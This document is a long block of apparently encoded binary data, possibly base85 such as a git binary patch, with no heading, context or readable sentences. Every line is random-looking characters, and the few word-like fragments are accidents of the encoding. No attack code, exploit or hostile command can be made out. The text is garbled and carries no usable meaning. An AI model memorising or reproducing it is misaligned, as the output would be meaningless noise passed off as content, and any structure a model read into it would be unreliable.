z3()I1R}LV{E>D^@KmcU2lyvpo_(wjvJEkD*tW2?F6?v{pw@lO?U3#5Y(Q1s#PVR1d z%j)mGObzd?=nZ$MQiJoQkBrh>(y7>ASGTj*$nSD*;(@;P#pLAcGInVDbxIQhVp+p) zTpZlNj1~S-yVhV`tvdjRKa)V;Xcpe8c~(_hTJgD4B@;xCIeB}y$~J*NS5KT*aJsBD zwJ(=2yd*K;&SW+ng(8(r2$@ zUu?$J`6Z(uUvJ<(cd6%lJq=>_J`3FN3Jw$<eLn%51Jx6n;r%}VtBERCe%=%<%C#bQwtvh4^cdK=rYG!8L z=^uD&JjN`ns9A_3-zy8aMgcJSAs)mo^}rPrYkQA`Go;HYkYg_*$-->T_q~@2&UAvP zPK|^|I7+XuVspJ_fU;nwk;44^k&C0nO>csQ;_}Gd`CY(W#Pg`e+|2PdYKR8KLT=;( z=o@E}U2Nij>6@0eJj*}!Ok69$V?EY=ubEO5_Du4|^m8}f^@S|HEuXHcPu`n}c$hlE zt^wNv?{ZMdOmNX3TB%x=3mEqE{BjldhQlb~*d0^<;cR!z)(2s>Tg5|-ioPQk_d=u^ z{;e4NKitE=U0Q#g!;KIRkBm#NJLX^j!x?ImM0yRo!!6I~(w-g~ed%+*J6nkBuv2ki zBpJjDhU7puYJaL>Y}~1ys@O=Xg1~B zz%8-qY<%YH${31kLyv6ecPlr5B*#ioL*|O=ZO7OsnBM?f`pDM`_1w2dw#e}dYqcsn zlZe9*zw9$en-943ZtpENHt~!qQr7uWt}=0|=hK1{i9QZh+9X5aLYH2HlK!dGWt|z< zs&bnRf~BET$`)JjN3oS5NAyzPsGmA^b=;Y^P??x+2TJO2oy|fTe$WM61<&cXl`E_B zqg}#&UiSLlvF3b`=pL@=rEYXt26iWowr3SfvO2w4rTLQ=g05I`7VEf`DNY5Webn~a zp?Mhu9vy{LqEhd{l;MO~;XNsodPp3>Z_CG8N=bBebLif&sTdm5!2sHfN6(TefDtsx z^{X+SWybg?d#~e`Ky82KM6!>N94L>+#abq-t@#R(CuX+Nt_IhGG7Pk2a}FLx8Cp;?$R){g`aa6 zEZbSi;@1qpx?ivj{vsPX zcKG`i9Eoo|pJJ`{Q`KjGKQ+$*HWrLh|MmXmbBZZdX4jN<#dV+lxyb)-e|7S?BM3Iu ze3O3CME&if4jgP`+W+V?=E39hKbZvl%k(J%C85^{@iAAaKRQ(Zvzh$c8vcm}I;Y5q z?dge@iNNb9Y{|3pIom4Yxz6J$) zjOYXJdVlp)_^YHg=O4ph^OXpL2{PZuKeQ<0! z(|v`aH5iwEUExn;gKEuJK6?Ld7FbZSaqwR!`R`Wle_!r17MP5MTN==Z{w;Sr+2w$h z_RC*g6wNE@g)HXz_~xhU%f$cvS^oJAq%cx>y+(za_VWA}6ZMyM`OEkG{mX${Te}y4 z{ru@u&9Cc)?4kK4Lz~E(+%EZByjuI1D{u7SxoM5xU@H1$WNz~vkv{&LOodRirsb92 zAO=K-+>UB~T@2{4Q3~jN^YA$Kxa#hKU&j=h^2zP#hC&U$u5Lp)7T`Mi3Sl2){00Y( ziW!zXDouO(pKr!rp8mhWI;#hYs5{SE$A6FWW;(oaOy$h)aNZrmqN%AnTWx+(^$uXx zgN>!7rJ26+8o%Xk(>}U1Wv5sh_sfnWCFVZD|wN+tbV>@7_ z|LaEjn+#X2qd^k&FPhbzRDWPrwk+nwU-yn6R#*Yxq%Zdgc2A$}ubv7;8v%T5$N&%Yk$tsTm=+Lzq z`B#7SVt$}QgZ#LrfdT7px#Jq;dy2Ae{OY2pm8sUWLRMSHu8`M#{`2|y@5ir$#=r6= z_S!q!m;e2D|KmlgR`vH4t#O>1oE-W06*T|jY87|=h>CtoNIJ1l{;GN3>T>3Pe1iYs z1preq1Cjto_p|*jQxUC_CI03&=zKjk;!M^QDlR_C^dmc|czL&r=;7dhQlD46P2*|Y zd&DGAeH&Wu5im8BG`+;My+h{=IqThE#=Ud-7x(_aD3330gR|FJ{c4r(7UHz|1-F*C zw8Le#`!JaIQLzCJ8}li`!p$x1lF~`{O=5=r+Eup@DMaURPgH+HQF@85{Mgr*Z11*R za0sVAGuf@aEN?Y-ezv8+$ioLNmKRU@R$M4VtlXHoEJrAf{=PXP@2U04UPH-whGkQd zg)5fE`QC#Uzh9{8>x@>*&O>`L+jN$5%81SOe_NK7yZ`C|{nx9T#WyEa32iaA^exaT zwvmu`@J+T!g>7?N-9cLf%7(t0O6t1l2-!Aia3=cvqpz8nw8LILMwtt49}*h63`Ks0 zd{))Hz1ySriYgvB8|C-~u4{b9tk*xrw3+POereU$k2Gd}Rh4|y_WpXMByoGx2D2y? z;^;1zrLaXqtMakaFYF};#HLLI8m?8lT*b!2^Vctb|1@TGe`cl+t8ZN@&n3**25 zsS~ySjMvb}VDS%NaxLkB^H3v6eTeb zE)k8hBt$R&LRse5R1pV+#K~2da`+(yG9tHgw1Oy*yR8(Yugy7J(J->A@c!xf_C-?+p&nywSuVx9(LnB9IM zA~*eYyo@C~NN)1q-#j>Z%)OyYj(z0s>qx!G831eW+$(b&WkdXNTR%~)g|V<@Avi}M zSNxhC!v1{0%(tlKOfLKcbGMoJ>YMxP zV)Ec>c6B$8BPD(u%8vctKp5}>3$cnY+TJ&jKB^ge`#|W&i&e&?nDJR`%5ZM*_8#ux zG#xy*LpF0eAdS18f=TW@&ls7veKq3rtIP7T(CmrZxA`--Y3Eo)jMnx=IcTNn@B0U5 zTh23+I1)tmCG?uYstHp^}o)WtrE`+qlCYweK9MrIS5wWrn2n zeT$f@sOr^HiAc!ApPygdc!=_aTq*-Y+fVpdy}Ha{(#|OM`?iZ1QrX+T(58zn_Sjwm z^&S&WEDH&?f75+>c^k|>klcS6!i1x z$iLj;fBlvJ`5PXaaB^Uv1O36j<--8@ap65Gy}x$&-Jb1Z_mc~wIe48nxq0k1_3t3Y zK*$C7r%M+fW4~nf{xvc0=XTTo-eWAqSi|9=zb-xuBKu6kUHZQvMaJ##%Xe*K+~p07 zEVpedei(%RpFdbVR5X6;$kkW;s~IxW3`JDTh$N`infu9m_}9%!*}2UR{2p?~b;~Ur@CPE?!B)H75L3pC8x<1m)4lgYpJ@!oJf8K>^ znqy@XxUb_RO?;)*xhHpWdVvRh6o%(9hIZby~8{M({Uyn#N&A}&}*hLsNmM;+MgM#Ow zof9fyc}J)Pc9dBP`uyKpu75j4j#69GoEa8&$#(eS%aw{@POQyP_>K_)nhODb4Qf(p z`tA+?^Se;IP5YVS+W^TvK}L}3f#sf^N^^v7%ZpXI9^1g@uOsq6F_@Ap^T=pZuR#Sa zLl0a_anyi*4Dj2%xsqn~eM+)oN=bEV>Co-$rO)ERX=k=peAgbDN1ZUy$65{T<24ZG zz}G4pE@oMNUA%TfIDtCD$GxhG|X1^5a~VSaCZWt982ukt^6 zq|B4>DhcIdv5WP@D^1^j%nIzeIx=Ye=-$oQj?HVgMhGds+Co3j&yN?|q3FNzr^ypM zs;RUK`Ke!xL0boF!w2FM^TAh_v$b8fCjp9N?}n|8+E(0Ogzx2|avep?dmnz5{8U>b z>!|8r*GFhMOk-l;N7c0mH5KDz{BBbH7*|*R1MJBM9{-n?@&CjlqNNATk!qt85IQ2h zIiB;^xBXZlnD*JVuPD3Wt&-xmiwv$P(h|MB)}n4aKKL%}K7*;6Ikr#w}Cq?{D4k&j*? zo!hKc%J9OXH{T-tBvrrrTjsZl)FgH%Ycp8<*-1zWHfeGDFaO&4<0qdBN8Lk~Un?3~ zut&KpupFRWX`MSYS$b<{gC2*#_8+wJh%B$*0z1=b@Sy^zNOO?@C}R5RO=se?Wy6nO zqJDgXlgh`3uWE*nmG{@_;!@_Mf)XmMl9mQ{VU_c%E(lf`Z=C(H1nA)l5dGJ8YfyR` zT>sy%{qalGG)q@GO;qO$1QMZAN<(iH@2|9q;pwUGY4LCmyB)34k=uWi;#R$TS#sN z?FkPj{f#qB>0`;T(+AGYNd~~UM&E58XyzHJ%Z$(Ccat~g8hYt$M4WwfF~v$G;`rwF zTR*_~_GkxdgKf9<^@j7x+bBxp2-Q#^bV6{?dS2OB{%wKnux5w<`tCTvoY|Hg-!73Q zQ~n`+>c3~-w}F9y+w#edHy7a;yeT!QJ~2Gr zREk6)PQvzS3f5xQ1W|E77d;G0KZ}5dPm}@>%<})aYp<{CJ?`-eVKj-tHjwoyCE->hlmQriK{}wv{dmvDWj+ zbVJKNc11yn*tIrDCuljs)JC8Pabo7m{ZQf%33l&gBBQwS)^fg|Ad#=I8(uM$4Ho?8 zRjIC~e$2OvQ0?7aVF?5U`9XJLy9N-Ry5|kL;C(71fO4MT4CtQ0r3BI|gSu{?aQAh@ zBIt~_l%9H<+LW2(T+f07|Luzl@*Ycs-YK82XT43GbbqXoD_qqFU!c@9=7Pz~Fx;Fr z+2RZ5$kd45SHX)uok)37|DGdHb_{zLk}M!h%aRw)4%pzvKs)IR)Z8QCSA>)G*GKC^ z`5k)^g`gua6X?AZXq{)J)k%VY?vD&gSANknDESvqV_wYCfMypqrR4dHOT0}G`jhXu z_ORMkSY2fipy(k58ov6 zkZNXrAs^hZlXmyM8A=zD=!>qT5XyM>X3p+J7gTL@g{N7WrCj_F@kLU8Xn@%YOY+_X zC;KHRYoA3W^_Y?OvU{3#?1CkOwlKE_Hpr`fRv8bwev5c}Z@U5YKMhC9dFnX9K1eKg zLuPvPouY@OONU0ApJ>P}`ZkF%N*W|LCko_U*)vF~#&ppQpN`<>g56<`_48ZrO3t{- zl<3tir^7zd)_88PY7l~j;)H=(nKh(xNAd;ddqln;4iK?_>5LhHX5V_~zN>u6n5(8r zCMqE{ryiVY0y+-Hi%T?(KXOO4C+7yq4Ve?{t2$X(G=oOY%_hVwjLyE5(D-N0LqI^& z0EK2Ah0X_?;E4~t7zbtCr#>$%-{bDL%6NbkO3X2o6ooh~nUGdYQ5qFXEeQ|FY4H6Po)s*sR_; zfMTj_+61rhSllSbmM3lz(+(@~Hdoqq1Md6nDu*As;hD~40)!xBUpZXYc_zRQp@9!J z!<<=B`WWzF+Roy74jWK{tJ*^n0*#k)CC~x;(sUpKD+fCG{3ho;O(1QQ&Js{0&YSEp z;=eZoh&`25Cc;&dWXokKnth9fLkI!TAJQdMa~ABXVV5N_af}E5-9GG58u?m9f+T{0 z;2J4TTl%&*1ZurIKLac}(~SWfUJD>ek!Y|EbNkM^S;72imY_?I;mtLuPos?stjV9W zgh00}3_Gi5d9(p3Xbfb5u@t+R;>I+8V)6N9dh211dbS_fXWcg zq}Ll-y)^qYm6utsPsN;y}pFQ0YfBU3Go5utV?=2_oV|+ zmo55m%)qVunxDj*R+^>I7S!~4>iyeV02I^jCv;0b6PO3`xFni)`Fw!JFi^RV4A=Wk ztX_+#?t)|<;V{3x8+6acFM-nI4A4iIg=HCkTofquecd5v{hM-8TvPSy&f=L#-ZsxZ z>RNyzars0tP({z6bY*KyoHH8(ZCe#fgA4h7WZP%UD=RA&_zd~)groa@Rbz!{o_vKx zNa$We{j=s{@Wsz@-Eo4=j;-`LKTOAuA4F`Z`xn5yZmHw^>IYGKNET4w zbk9WT^A6w_#R@lsHeVK#e1}aF-}T$%q^~aNoT_!u=>fe`M--^FwtY98=io&oD_rLF ztC~_YG~D)z&d9ZBnnsGwd4-!<(<@$F-C+&OcW{=fXqv*}jaZbtV0Faw0REWS z8|Ig*2Ux{c_nrPI#5!ff2@dGOt0Msj$laTRU)v<2O~$Nj*+3nDb@^D7EnIzC z@DHMfc_-E7h#|=P7v+U554mrPj+9nPo#l@hgS-`^VNl*{^nb%aQ?32qK-xY%L@#w= zcDfP=;^EY`I62*E6$|XFE;CYnYnKOCbN&x_C`hFuEQ&f=T0wLeIB>SF^km{}`lm)b ztHS=4rjtP@UZ_js(u8VIm;$?U;6Pr%u2ANCm?Jgsca(u9p5}oc0lwNvkvkYDA_bdK z#+$h9??dFj-_I^r2HzYF$*un2F3kj)PL;8==H1KCt`4r>);$!Ph7tYgPRdhD|r%K!oJ3tD83RXu--2K{XuE$PNc98rOkJ`lx%w9s$ zQ1O;Ol5t7qdCC|6CFt4qDxfLX$>6tI>$XKEW;U?<2vCMf3YpVA%{>VO(=M;qoso|i zkF(9ws}KQ}+3h2D^s5yxbcAhe6o50ken&L9X@Eb!(q(;PLcwG>&#)Xc>2;||4!vUc zovU#pR1q_nj6F|+rT~3wph{>BG(0ro?Fw(`-;cP;r%~|zBAqL!uAf%B4&2lw?*+$p zVtF(p-aw;#t;9#!{<8r($(G(DarG`1Ox`g;;bj+FUWNhf&IOO+$i_J57SRT`j|;3U zeng-hxnPYZ4G}tlUg~J4$NjzX8*{Z?i|q=@6qC@|Hw8q!)vQ&CKo?3@{^ z#J~Vbj&9Qfy|`T$_qMjAK|t4h2GA)(7Ht8IAHh;*FdxW+rE3P5E^8oa!pi|f`M5eM zFuZdGXuTwX2Jfzgf?57AjAZhduwQJF=hvqc9IaXZ)xAeA^V}>cd221X2;4+>1^cKO zioOB)+Zlx$6bX52yfo0GESh{1oB?T&rrX+sVF`!?%kP7NL2Mkz@|Lyt#aL;t z@E@ocC@x;at@ag|b>T9Thi!*+jlI&3m>y~$pdk1qU}kd8wLL571l=()U!{ydy1^@i znMoR`OmqSG`o%aumW?vvql*DH7w881bY3NW5d>Ww)<8i-6=>=zQ~GK2ooaRi-NNs8 zG?4n#4&rjOh5S}lDJ^5!0QS(u_rdVZvCX96LlbK867VGf8%hIg4qDgH`D*ly9n;b{ zbR^JcDW^1ur+X5Po0S8jjaZ_ye{@vm`uv6<&ptax$NcFR6cpA4Sw8a}K#Zmvz_dnJ0VFtzVMEEMNM1qH#tC5*-Tr*POS2he2IxdMPs6i}}!T_{M> zxhKFvc$`|dSh<9Ynv1fypQXCV6Roo20Wu>!Km0G zAZHfU9zGE&YW)?ot(kZ`Fssk!$<$}h4~orx@6=2+;tcQw+>K}&9k?}z5F7P(M!}F9 z`w9@$D5K%c!&!Mibdy&;dE?ueE&zU#fGlCfDgbOq+(;mU(3$5?iBcNXiQ4>>^{ zAl{}f<>~prI(cn=ch#H~{iJOE^oD-n zd=I6&X9bAOYgSK#HabH+!79)#I5tDG(%SZvtXJ)5C_~FGq$`wn#p28Aee;$WQ6nlC zm@3nGLbzIB_#J7z1R3ch#R3s)}s;>Ub2Oqx>{a zc1%^B%$LK3I^>`1@1H_UOM)fxH zu=Dl8qC!u_K;xG2F4(A~H>Qtos{X!k#M{)&Lx;2K%0!ea6@Ekxe_aD_CeT=TtVz6Z z+1P%G9p{*0&m+N%ac{^&=y;UhstRFw!xikHQG*(~d+Nz4pyfe2g(R&Fm0|(;a71s+ zd;iLev1EV_P)V-pWY~k`KzvWh(!mv}zw{WKx>G8)D$z47hbEOTm$1Y>j4w6>S^!2B zB{L-h9+*5!E-_3!!_wD9fPI#|n*d^e=`rNq`&q89wD<7idBu(E!c^Dq$?D}?(HUiS zUD1*>egP=O*&39b(IU{>=Bw(XXZqeM#!Tf;GXg(@BxruHbYh%CPB7elwyd9?WZP3w ze^wp_`rTHT@dJscsT59CrwVh!Wc%bg-jLQ9U!BlXJyp9+V1d#>>U9agn9ZIm+_=_3 zxXvGR!sYr})Yn7{YIF}DanMym>iUJLYZ9gU+yPJ`ShjH>l)pV(RQG;%sE0Sd=tmRq zvLcs9*9J1>m$NjZDw@cxMeHw+^c)YI1viv}sjY!PZ8CRXDXHoTrz-WQKUu>R%x%unuUdUQ)fy1j}#&l11)KM{>qv(DLF>skh)ii!30SKB#vnLF* zn+SpyA&4`WdJt(GXCX7nZPW7VMDnaVf?TixXph81O?_h^B$zH>hiRkP3^jcY_DNiB zu|=HMA~3JgxY8|*X=wiacK`ij4O1NVRC`DN znk5u})>Mfs-Rr|m1x3(RGv1#ELVbvHo9h%84~Eg?#I+_mz27$`YGm&5oFem7sZj40 z!IB1c&C_%8b&!V?cfFfvTgbdc%Y8P4mQu;9+`91DQGZzz~EyN$eA|>YgovN)qNb{LB#(?FULHV#j^w)}IV`QmqNGDk| zFPrZAzQ;hM_iQ479O;%`qB^pGu~F8$_VtcQgS%cvaoISC4Wm!xd<2$Cv+2b#459E4 z`2v{hRjBq|w!xHncard)A-+KVgDhqfv6e{-SIt~d`rP%(dQYndJ@@M8)GZbWOxu4B zl>h^qG`&$wERWkkkkwhohjIT}g=6=@N8Ae-o8=C;0!DHr2q7uPBWk#&ezDBcVhsST zQeTt#69sxI7A&zdr;yIFyFw-s=Qj|Ab=19#hKIT9>*kH6hapNsvo*q^H^R0t_*>l( z3IWv*Y;A>Bc)|4$NuZ35qsYgk$52ZTXX!+N<51Onzl|bQu;vs(Fa|nT3mzqhUMg4; zd=OC4BwSV3w48wef@^k9EJy zC4%{|qWF>C%8z%mohXi_NpI(9ke4WOt=*(V40GwfRG`Q4u&n<(4~a405CC z@b3>z7hc`cf;`;WTB?@cZ+d?rwBlCM#=v5_c?nyCO=5DlVB&>Kn~Vx6%}q|BCSUj3 zM%1L{n*%&9kSx|~=o;A@ZRCM5Zg3k@*4E)WGZr zHXTV2vY-`+Dhn5e;#91G%(}2Wka~|a5+hx!zCpyF<VuV+kC z->a@fo=`;$Ny=Z=J~bj)NLA`o4iH9X0Ig78ri|xAB4k|)?K36}R0WJYKAh%P*tjc- zaJh=FGZ!N{28CNF4vt?NxW@9je5)*C@0_RcWD;v0v*3b?13Myz_!0> zo%&QW;a-lP*Oehp*)sz`*SHJlk7!loH!cj2y>!P8C@D4)(Ocw&JRmIOI<`El0|2?- zE1r@ZSr`zDO{0wQtmN+*CF6nQjegRI5S1aapN$MR9g2m8U-F}m~<$S&1eB1eeJhM|cFd)5Ct`32wiFtY>iy!OWP_qi-JHufJWXzRoY6gH1O$E?` zP@dRYDMhP&d1aJe)b(dpQ1RtH)vbXJi&Z(taNlPVZHW@+W~soad`nBT}H)tv@nr?wttl_Ar0 zX+HDv#f5d>n)IIHYenmCZwK-J;v^?r){b06@AtPj_BMfAdYwi13O_LXBz6{sd*k17 zuXNbUs^T3#PAsN#oG=FA4zIkZ%w6+$j$`gfOP;5(jNh%ZspoDRb6g_Jk&WSpCvH0? zCw+Yxc|jon=EKh=3VhCa9{!KYV|8aSs2XF~C@XeS_Z`8M$b~e%PaUSA^EG|B7qwDs zhiG;I(0}H|httLhx@~vZ6ck(P!{*;q`T+fyf~!nM=fEI87{N%a4++qQe5QTo@;sE*x3qgT$Mu>hC&7mwhk2|*TVr9J%Z|O4uI`<5_d*`h` zhu^pZ($a`&;dj+kI6y;tm*_RIOLpuSU-*!_og`BJBWD*r{LVc*xz{+M=N0kzPPE=r zOCzACU|Ay7EJk%3aY)Y_(r=wB4@He7BH1 z*KoqMWuaxM-EY&?qwmj-ix6r5kJA&Kb?GkF3+rp0E}wTUeR&MVnnh43!v&Uzj#Kp} zk$`Ea0jyEyY3_)=Q~aVVCaUKSao3-YL|4U2*!L7To^Ebzy2fh%3LbSvh?j6S@BYi! zIutORB@54gB!U0(x9rr<3PQ?{u&72x@OMnuiV)ELAAZRu8a-dS1XDBDDWUvt>HdwII(q5~o1&_7d38a0_4NyLZ7JEPF;TI#9WG!9VYv`Vw?yw72^|`SAbBFFY&B)^kA(m2A7r< zh~EJUAPvY0dSG%_AV?CaG`;ptze3V|4-)_BYONbIs>!Ft+Rib*tXf zeVdyg=X5_lovs>FPXG#icEy#s8-mzn@D{!!G~~uZCWhtyBF+Y^gZ9RomHiz zE#+v7AT5(;$B2y`_by>`ju9P4-Uq-g^|XN%mzu@9QqQzrW}H zeV^y|Jl{X=UiEUjuFp8n_c)H@eVj3|eUsI?81$9EZ+(!NuIYAEITBUYuo9w`a*c0l z^o^xspFI_=HycAXwW|@6Qiff8o^fzR31cr{X#VG_BJpU%B^CWm#NS(sh9%#nd#;+o%oFmH=UYKAU)(bJ9l;8dpHSh0vnkqt^GX^x~pYp3k?$}`lzNf) zzj?~{GFoF>S>w4}ZVj|Ag7Z=k(8$iYjPGiYbD67$?Lvp8);0NBNMj7uD}?l?WsE?} zFkJ&~T+Yr=r8N%=WL$@Hi4gWe(3MT+C{OPWJ5m)+1?InZ)Rvt^VMNUwQF`xp6K{p= z14dTN$R(G5(^Be6%I~04!$hd^RIOY-VCkC%>d2$W!X7uNbNvl<>>(>6I(x(`uk+|G zfRUQA)1|N&`=L~JhUU+>tkIVYw^0Hoya&P(tr4_JkY;FPR>zl)hdnzFQt8s*Tp3U8+TTiHRtNfQIv#KlV|1vDf zvpZw&vZ1~Ldxc3U3Vb)4rm+qVua(0$%t5Cmy?U|<0C0v{QO-MNY85!Y)~41c+%pE* z7RvWr?i1(v*Cy9CAsj|SNZ^2N!3}5dvAXt}a@STn=O-KyrYuPBPB$R1UErFn{UH|T z1k=Z46mep06S}dCMw%y|{d@fI0x^326X*VemW6Wt)eJlH%V;PwC-G=f~Y&oxATe_aUsQmuY;wZPDEQ9FZN4XUdc)D;YH_CUo5E4-cYUe>M(2{+$)$B`_GhUE-X-@7S)H<>_y= zmPAsjIs2>*X0kM2KWP~jqrjQq?wUY=qF*Fi>!^IMQw^R0BO5mdqplFBB(ig2$m{x; z*en6;W;TP4y$`T6K(V0sG1ywIZq$|7 zBWM2>MfXd5A2)x=`4Ur!&mv6VV z3889zs2yU)z~s}Qw5b_Rdq)`}XO)>9p+xb*x`SrANu#Hb#6Q$F?k^rhF9V~Y!?T@O zNCb?^*ckrc(R|NrSk*QG^U1L5^Cio;ej}Qes<=6)jsZnQJwtM|Y=wUfKHv5H z{QQu@w2T(;;6>n5TYWh@r#6mM40CfEd?^u{lmr}& z=a4gW>x~sbpBf??G(z7<4$(78&XY2{6ZQLmDe>~@ zC)rRs=G!W{Pa6WCn$k*aUf&u!+>bqAYi)^Hi;gH}gWum;E7MquW1DemvuShEEI(*p z;hEWW)thOHv0faw+0JJhDgWMe=V$DuDUIg|^i%)kj{)4Gz@Wfd5Udn7eCLRyAc$tOM8&HwMy|m!2{j z<{MD*er-1`f(W_sFgpvYm~fHe9IO9X;S*>WgyN)Vctv;|Y+0kvn3aEeBNURx#><>+ z;uffHXn98S*wh)s&Aq6g=`XUya&Tw6`!_q7zM6wdz6K9FGGe(b-XbHYJHO%sKPMvNCj+O4ZY~a92CLs^ z?QA^(lzh%Z7`;0q6yyA)y&sh8R>4Ou>z=D9*kTb-97a^rzs zcaro2>6Ck@8yBV-#x;CC(h^Ny_?+hoXZN0)ot4f?uGQq-l{mD*{d(R5+zq3;agbX% z2K27RZMoPotA6^?Gj}(N^N{&T2ALO!_yA(4z-(b`iURdP!1UJy`Nm;i?@xN$)AN-%^$ zNNS&1IlHP`Jr9Y@(pXBB8Vu*Mh~1JY`1RI=X`W+TB3q}pQ%Ib1pW$J==O^RdrtY}R zGJfNpYwZ@v{*6Ib)zUahhmEk_uCvs?rY6`8j{G`M`ihLLZr9+W8De%C_zM!moT?C< zM^-qrjs3$}2xDu7j)zA@5Y8Mv9NoM7>t4JpG1)sfFX!!+WJP&u7K&C`Ai}dW%AI3N z;MgSbO80&K%5pASG;&I%`GMdkzgMt|jIg&m6W8Gg(vUE7tKO}UJba;CD5JVW(Su>8 z6<>^0brrwE4Io>+_1WN?YlmULLMWXkW}G@8>nU^~tl!&N(_0xUubZ@eOp3?e*M6|S z>o&w`($_Lmc({g$YYL_&f0Lk7|0x&_75rjTr2mPHng4x%3wKXVE!M9+q@oyavY);> zmUzh42m#Ai(C-tIYVzcrl?0p{dwyGMlVW}(s3TM7jS^Nmok&}MEU=Ua|NQ(6cT^~2 zu`-tWA9v#gOm*I@pzv@*)8J92JFPt~)`LwcZ)4O+_9Pq0>7o^y00Q`09AY+HAOTkE zbPNoQdF?JbtKVw7-rpl=XF-_V=y<9NN3aT*u`^}qW8%xNJ34e?H`)`pJ1h>+vQ}&- zlroI}-UNi+=xw&(VqK8*}P55XLpTLB%-*&{QCS;I^>s zW8xU^Zmr-X=_sTw-YU<_qJ6iGB?x@IT@@ zf9>Pv7X&9(_1KW{ZY6t>E_dadC~fI?j6%H);jajW=eKD5T?&GVAJY8$U9(QIY^;;vS2i-scATd_vBv3g@ z0cQ(jxX9J{Q(Rqcsa_f`41*x(Ja7Bndb+8vNTx7ZI_gTEL3^KcT2GedczGk&{}!`p zJUzWVnWlN-tT?z{Oy-H%r3^ZATyxkmqr7}DD2uEle&OxaFIA)R0VVmAEwX&vz69*x z9XOuTYG)yhg+md#Yd*E|`IU{=jB15Ma^bPpAa;GUg^jH>Py znvYI_?r>wVTk0~jgc&`Vh~WzzUwJ(7en+H+hh7aB`v-(w0@oqBOYK<}n2ztbh}VB` z&}p^2sa16%u6zDA6G#y%O$T#p4Jrf5A!gD8)&GXwVr*olR*;gl_hX2l&ZCv<^b36% zdFXdOt8|Fh`(>4HMz#wWbMmy3f794k-9_Z-`}1!O=m>gUCErskbF^AeKD?n0TEI#lnSkf%P63^}xOtM9CS#qC4t9)CO^r`uaE&;&9{$RID zB-p=su)ER>t&fp^+DG}+OCaFMHtZv0hF&*LM$P>=S(0z7l})K@9Km$M{OPe5Ns#F~uwmGl8gHt6_kwCg<*vT6OY>tzcsD*)LuL zp@LVkKTAcj-?CF!f!S~q6u2|x_o2t;>a2Yyjk~aOQES@@HUhF|eq^-FY0Y($lH0OM z^;I3iWOlpA-tXIr!Zn;Q)jt!P@rZHrz%ugX?RueV_p&$Y;YLzmrJ2KoXi(%w&D*O(AqU%iF;ZqfofV^G&uQB z`R4k>IiH~I?O;~lM>IVXDtJi$^?FAyG)7#=H(D0oM?zRN1y?;%c(uQrVo=VGCpJX! z&-YVhKcuHqM?P*v*nWQK{p=(PHTrB&sGrr{SPREXiQ94*JIsv~=ecwvsf66i%h*ZAQ-RY&#G|L*t4Xbmv*K#XDogcZo zR}KcTG~~)ItF@$RlZmj!`~uo-_c-hqmE#J?_vZI6#mVTMcZVa*Ym$}l&Pa%hzX_zj z-vp=IyUjfF_Pundm9hE=FohSp6d74!S$G|i+k-YDIVQ8)M(6V9wb@l2Hy1*`{jMksyp+$x+Lg>_Zs@GUG(uicnWUyX ziMh6_p;ZKdtEr%=t$K~Oc2)5ek)BHSXOx)Pc;TdQ(0QGjUq$dzKhOuhK z&X@64&$r$BX1)t;+v-HWfA#M#zRB`tGk%=B8EW9rAsU3QgJ zRM^=kmmn*<-9na7%%AQ=HpcK3x+wKja-6h^$L`?e94WRj5TEJC?t=r=a^TRO>KX1O zrVarU!cPHW94BKOfGAQzuMkglo4wG5uq{IZ#!>9?)Bks!^7XVRqcGRV+At+)B^_o0?grZsR$VM*=lt)vG2F*Zz7%;vfc5_)z`2gZB3_; z>csgH=Z*M|*&3!j>GcO}`BGMxxL*qv36>){Wc%g)+YYkK4>+ zHX37-WDY`OGnP%hipAD?PN2KfUHje|7#@BN%D+HJ;3~K~bNq3kll8CF#_bQU_V946 zSiReva}%5T6l0BJD9S*M#$P%3 zUwbB0$6-nG5>m0KwX17cw6s$M4;~=}F4^@uP zMsBE5`|eh5&n(L?6k3d%$MC_qUwtR%g$evdmv(-2J~XQ6^#O6O6#I>qx!Ro~7U&aw zsM|u9_&f*}D!R|HU+lwSn}{!W*-}L-kG$z{2$uBR=?~xCmWA3URkO0<{I!QPCo>s; zFxb6HVUmjza8X<*-`7Mx;~Km_21ggFOtwPL=NGWgPE%_hZP@P@z}BCMFhR)e{G1lk z)Yk2!=VRWy42Zy>9F1bVozrvd*vg-KA+Z`OgDu(qq?fjH!?BR|;oB=2hVkZ!PwXgc zi8=}BO}(a@!*(%J4Zjyfa+o|HrN+MW7pOqU?4?ZEZ?;#Iy&B3P&e_-G+c={ZHq|y3 zMb%$8Q!kQhu%yK#uFQrd_k>7XQZf*#??z}grXcn9ML!c#*lm!s!7E6Az{HR_=r#;@d@cgI(e0IAPB2H$sERGinPV~Mg zN51=APzv`EcEpcbdb@9Mw~nPnxaJvmK2ul^BJ&M6yL50*p1VKGukmSV{HtA8-nw+P z!pz;P$6XtPmpJBBNme~yo&{YV)`H!+9}9{F6_5=X*Jj!a3(}Ob%=L&m#TZT!GeiLrnac3gme269RmX%dH|+DzB4no5$5L;mcrDuy5KC zn{Qq*!S=)2Gad}e&4};-tb|`S`5pBUjzrUpYnzdUBOW-_DpuiFs<-a%kU@R*-`)SY z_A7NiH)Aho$I(>hHNwy^LEGC&Ob2bv7UMZ(8O(CyLmb$rGu?Pe&_WRsQ0c;Xez>V zXF ziQAq1=1!`k%fEqZ*pa2bWXFiH%Zu~q_0b22id4lgbDc)qD{pRbT{>G=yxw(RZ?5aZ zEx(b#w{F7PWCgUOg?$%sNV)o8}r z9>+I-Tb{UBI!MN{+4VIy-#+FZHIF3veeEaE=dKf8n=Ld=)lR6c_+3z-LdqG!hL-9I zbCxIWqvr(2;js1!`7Di5i9$dRq8fC^<=@P<%S>NvEI+=; zoJ;T+^dw2v)B~{gWa0XL-}Wu>c-xGYn6FBM>r~hN{@KULNcS=t9&$-lvx|P%q919+ zFw;e&^Jj%0tv}QPj*y|D<)N?1Vj83O@tNB8{}R_8v!t}^Yg?z;IE+i4;d#q&LZBT5Sn zOX3<=+>Rg8-|zp;4o2?n4vX({GrqqI`J+en>*2k8>B+ad9OZW){qX1agdZn8I2sD? zGDz%v@iCYC^LYREw}wS@92Owj>vVk$exW zus2Y-U18~fGKG2fZ@>PxXYj8V^5+K)rs&I6Yat*(0GTRS&jEa;aGIzL& z`eBaf{dVQw@A1z&cK3QZHAN@!;K~HokVlgT+eT7bN19h9#>QQ>xPyPZ|36>*uYc2i zBz)50B<70oghl**jw69O(LcPG6Xv$^YhM{CBrSLtkU@ZBW$b_3QdSMcn_x%l`Z4 z-x98(w<5DteBkqceD?pB3nSF?zU(FU$!{-_)8i-qC#(M7TmTvE#HAjt%L6=D|3e>m 